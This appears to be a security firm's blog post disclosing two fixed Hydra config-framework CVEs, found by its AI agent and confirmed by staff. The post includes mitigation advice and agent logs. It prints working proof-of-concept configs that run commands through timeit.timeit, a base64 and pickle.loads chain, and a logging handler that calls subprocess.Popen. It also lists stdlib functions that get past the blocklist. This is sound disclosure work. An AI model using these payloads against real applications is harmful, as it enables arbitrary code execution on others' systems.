ShellvoideShellvoide
·klue

Two Code-Execution CVEs in Hydra: CVE-2026-106441 and CVE-2026-106442

Hydra is the configuration framework that a big slice of the Python machine-learning world runs on. It lets you describe an app or an experiment in YAML, compose that config from many pieces, and override anything from the command line. It is convenient, and it is also powerful in a way that matters for security: a Hydra config can name a Python callable and tell Hydra to go build it. That is the whole point of instantiate(), and it is why configs are not just data. They are instructions.

The Hydra maintainers already knew this. An earlier bug (CVE-2026-68508) showed that an attacker who controls a config could point _target_ at something like os.system and get code execution, so they added a blocklist of dangerous callables to shut that down. We pointed KLUE, our security agent, at Hydra to see whether that blocklist actually held. It found two ways through, and we reported both.

The short version: if your application loads a Hydra config you do not fully trust, both of these let the config run arbitrary Python with your app's privileges. The first walks straight through gaps in the blocklist. The second never touches the blocklisted code path at all, because it runs through Hydra's logging setup, which the blocklist was never wired to cover.

At a glance

Packagehydra-core (PyPI)
CVEsCVE-2026-106442 (blocklist bypass), CVE-2026-106441 (logging config)
CriticalityHigh, CVSS 7.8, for both
Affected< 1.3.6, and 1.4.0.dev0 through 1.4.0.dev8
Fixed in1.3.6 and 1.4.0.dev9
ImpactArbitrary code execution when an app loads an untrusted config
AdvisoriesGHSA-rqx7-p7vv-w7hr (CVE-2026-106442), GHSA-c3wx-c55w-pxjq (CVE-2026-106441)
Discovered byKLUE, Shellvoide's autonomous security agent
#CVEFindingThe boundary it got aroundSeverity
1CVE-2026-106442instantiate() blocklist bypassSlips through gaps in the _target_ blocklistHigh (7.8)
2CVE-2026-106441Code execution through the logging configRuns through dictConfig, a path the blocklist never coversHigh (7.8)

How it was found

It started the way every one of our runs does. We set KLUE, our security agent, reading Hydra, and it worked through the code the way a careful reviewer would, reasoning about it rather than scanning or firing payloads at a running app. It began from the defense the maintainers had already built, because the useful question about a blocklist is never whether it exists but what it misses, and the real work is finding the bad thing that is not on the list, or the road that goes around the list entirely. KLUE came back with one of each, and that is where our team takes over, which is the part we care about most, because we do not take KLUE's word for anything. Every bug it surfaces goes to a person on our side who reproduces it from scratch, on a real install, before it counts as a finding at all, so for these two that meant standing up hydra-core on a clean machine, writing the actual malicious configs, loading them through Hydra's own API, and watching the proof land, a file written to disk and a command actually run. Only once both held up from end to end did we write them up and send them to the maintainers, and everything below is a bug that survived that check.

Finding 1: the blocklist has gaps, because every blocklist does

Hydra's instantiate() takes a _target_ from the config, imports it, and calls it. After CVE-2026-68508, it first checks that target against a blocklist of known-dangerous callables. That check does its job on the obvious names:

from hydra._internal.instantiate._instantiate2 import _is_blocklisted_target

_is_blocklisted_target("os.system")         # True
_is_blocklisted_target("subprocess.Popen")  # True
_is_blocklisted_target("builtins.exec")      # True
_is_blocklisted_target("builtins.eval")      # True

The problem is that "run arbitrary code" is not a short list in Python. The standard library is full of functions that take a string and hand it to exec() for you, and none of them look like os.system. KLUE went through them and checked each one against the blocklist:

bypasses = [
    "timeit.timeit", "timeit.repeat",
    "cProfile.run", "profile.run",
    "pdb.run", "pdb.runeval",
    "pickle.loads", "pickle.load",
    "base64.b64decode", "marshal.loads",
]
for t in bypasses:
    print(t, _is_blocklisted_target(t))   # every one: False

Not one of these is blocked, and each of them is a way to run code. timeit.timeit is the cleanest example: it exists to time a snippet, so it takes a stmt string and runs it with exec. Point _target_ at it and the snippet is yours:

# a config that runs a command, straight through the blocklist
_target_: timeit.timeit
stmt: "__import__('os').system('id')"
number: 1

Loading that config through the normal API runs the command. Here it is end to end, writing a file to prove the code ran:

from hydra.utils import instantiate
from omegaconf import OmegaConf

cfg = OmegaConf.create({
    "_target_": "timeit.timeit",
    "stmt": "open('proof.txt', 'w').write('code ran via instantiate')",
    "number": 1,
})
instantiate(cfg)   # proof.txt is now on disk

The nastier variant uses pickle. Neither pickle.loads nor base64.b64decode is blocked, and Hydra can nest one target inside another, so an attacker can base64-decode a pickle blob and deserialize it in one config. A pickle payload runs code while it is being unpickled, so this is full code execution hidden inside what looks like an opaque string:

_target_: pickle.loads
_args_:
  - _target_: base64.b64decode
    _args_:
      - "gASV...base64 of a malicious pickle..."
klue · a deny-list cannot name every way to run code
01:22[STATE]Testing whether the CVE-2026-68508 blocklist covers the exec surface or just the obvious names.
01:24[AGENT]The blocklist catches os.system, subprocess.Popen, builtins.exec/eval. But it is a deny-list of names, and Python has many stdlib functions that exec a string without looking dangerous: timeit.timeit and timeit.repeat, cProfile.run, profile.run, pdb.run. None are on the list. timeit.timeit alone is a clean exec wrapper reachable as a _target_.
01:27[AGENT]Separately, pickle.loads and base64.b64decode are both allowed, and instantiate supports nested _target_ in _args_. That lets a config decode and unpickle a blob in one shot, and unpickling runs code. This is not one missing entry; it is the deny-list approach being the wrong shape for this problem. The real fix is an allow-list.

This is the point worth sitting with. You cannot patch your way out of it by adding timeit.timeit to the list, because cProfile.run is still there, and pdb.run after that, and the next one after that. A blocklist of code-execution primitives in Python is a list you can never finish.

Finding 2: a door the blocklist was never on

The second bug is more interesting, because it is not a gap in the list. It is a completely separate road to the same place, and the blocklist has no presence on it at all.

When Hydra starts a job, it configures logging. It takes the logging section of your config and hands it to Python's standard logging.config.dictConfig:

# hydra/core/utils.py
if log_config is not None:
    conf = OmegaConf.to_container(log_config, resolve=True)
    if conf["root"] is not None:
        logging.config.dictConfig(conf)

That looks harmless. The catch is what dictConfig is allowed to do. A logging config can name the class of a handler, or give a () key that names a factory callable, and dictConfig will import and call it. That is a normal logging feature. But it means a logging config can name any importable callable, and nothing on this path ever consults Hydra's instantiate() blocklist, because instantiate() is never called here.

So an attacker who can influence the logging config, through a config group, a defaults entry, or a command-line override, can put a process launcher where a log handler should go:

# a malicious hydra/job_logging group
version: 1
handlers:
  console:
    "()": subprocess.Popen
    args: "id"
    shell: true
root:
  handlers: [console]
disable_existing_loggers: false

When logging initializes, dictConfig resolves subprocess.Popen and calls it, and the command runs before a single log line is written. KLUE confirmed it with the exact call Hydra makes:

import logging.config
from omegaconf import OmegaConf

conf = OmegaConf.to_container(OmegaConf.create(yaml_cfg), resolve=True)
logging.config.dictConfig(conf)   # the same call as hydra/core/utils.py
# -> subprocess.Popen runs "id"
klue · the control is on instantiate, the config is not
02:05[AGENT]configure_log passes the logging section straight to logging.config.dictConfig with no validation. dictConfig resolves handler class values and the () factory key through the import system, so it can build any importable callable.
02:07[AGENT]Crucially this never goes through instantiate(), so the blocklist and the 1.4 allow-list do not apply to it. The whole config-driven-execution defense lives on one path, and logging is a second path to the same capability. Set a handler's () to subprocess.Popen and it runs at startup.
02:09[AGENT]Not theoretical: the identical pattern in Kedro was CVE-2026-35171. No real logging setup needs to resolve subprocess.Popen as a handler, so restricting handler classes to the logging namespaces breaks nothing legitimate.

What makes this one easy to miss is that everyone was looking at instantiate(), because that is where the known danger was and where the fix went. The logging path reaches the same capability, resolving and calling an arbitrary callable named in a config, but it was never part of the conversation about config-driven execution, so no guard was ever put on it.

Impact

Both bugs give the same thing: an attacker who can get an untrusted config in front of your application runs code with your application's privileges. That matters for Hydra specifically because of how it is used. Configs are not secrets written once by an admin. They are composed from config groups, shared between teammates, pulled from repositories and model hubs, and overridden on the command line. A config file is exactly the kind of artifact that moves around, and in the ML world it moves around a lot.

The pickle variant of the first bug is the worst for defenders, because the payload is a base64 blob. There is nothing to read, so a config can look completely innocent and still carry a full exploit.

Mitigation

The fixes are already released. Upgrade to Hydra 1.3.6, or 1.4.0.dev9 or later on the 1.4 line. The 1.3.6 fix hardens the blocklist and closes the reported execution and deserialization paths, including the logging route. The 1.4 line goes further and adds an execution whitelist, which is the right long-term shape: instead of trying to name everything that is dangerous, you name the few callables you actually trust, and everything else is rejected. See Hydra's execution whitelist docs.

Beyond upgrading:

  • Treat Hydra configs as code, because they are. Do not load a config, a config group, or a command-line override from a source you would not run a script from.
  • On 1.4 and later, turn on the execution whitelist for any app that composes untrusted config.
  • If you cannot upgrade yet, do not instantiate untrusted configuration, and keep untrusted files out of your config search path.

Why both of these happened

Neither bug is exotic. The first is a blocklist that could not list everything, which is the built-in weakness of every blocklist. The second is a security control that covered one code path while a second path reached the same capability untouched. They are two of the most common ways a real defense turns out to have a hole: the list that cannot be finished, and the door nobody put a lock on.

That is the kind of thing KLUE is good at finding, because it does not stop at "there is a blocklist, good." It asks what the blocklist misses and whether there is another way to the same place, and then it goes and checks. The deny-list gaps came from enumerating Python's exec wrappers one by one. The logging path came from asking where else a config gets turned into a live callable. A person confirmed both end to end on a real install. That is the division of labor we are comfortable with: the agent reads the whole surface and asks the awkward questions, and a person closes the loop.

Disclosure

Both findings were reported to the Hydra maintainers with working proof-of-concept configs and the exact affected code paths. Both were accepted, assigned CVEs, rated High at CVSS 7.8, and fixed in Hydra 1.3.6 and 1.4.0.dev9. Thanks to the maintainers for a careful triage and for moving the 1.4 line toward an allow-list, which is the durable fix for this whole class.

References


Want a run like this against your own codebase? Book a time-boxed engagement at shellvoide.com/book, or reach us at info@shellvoide.com.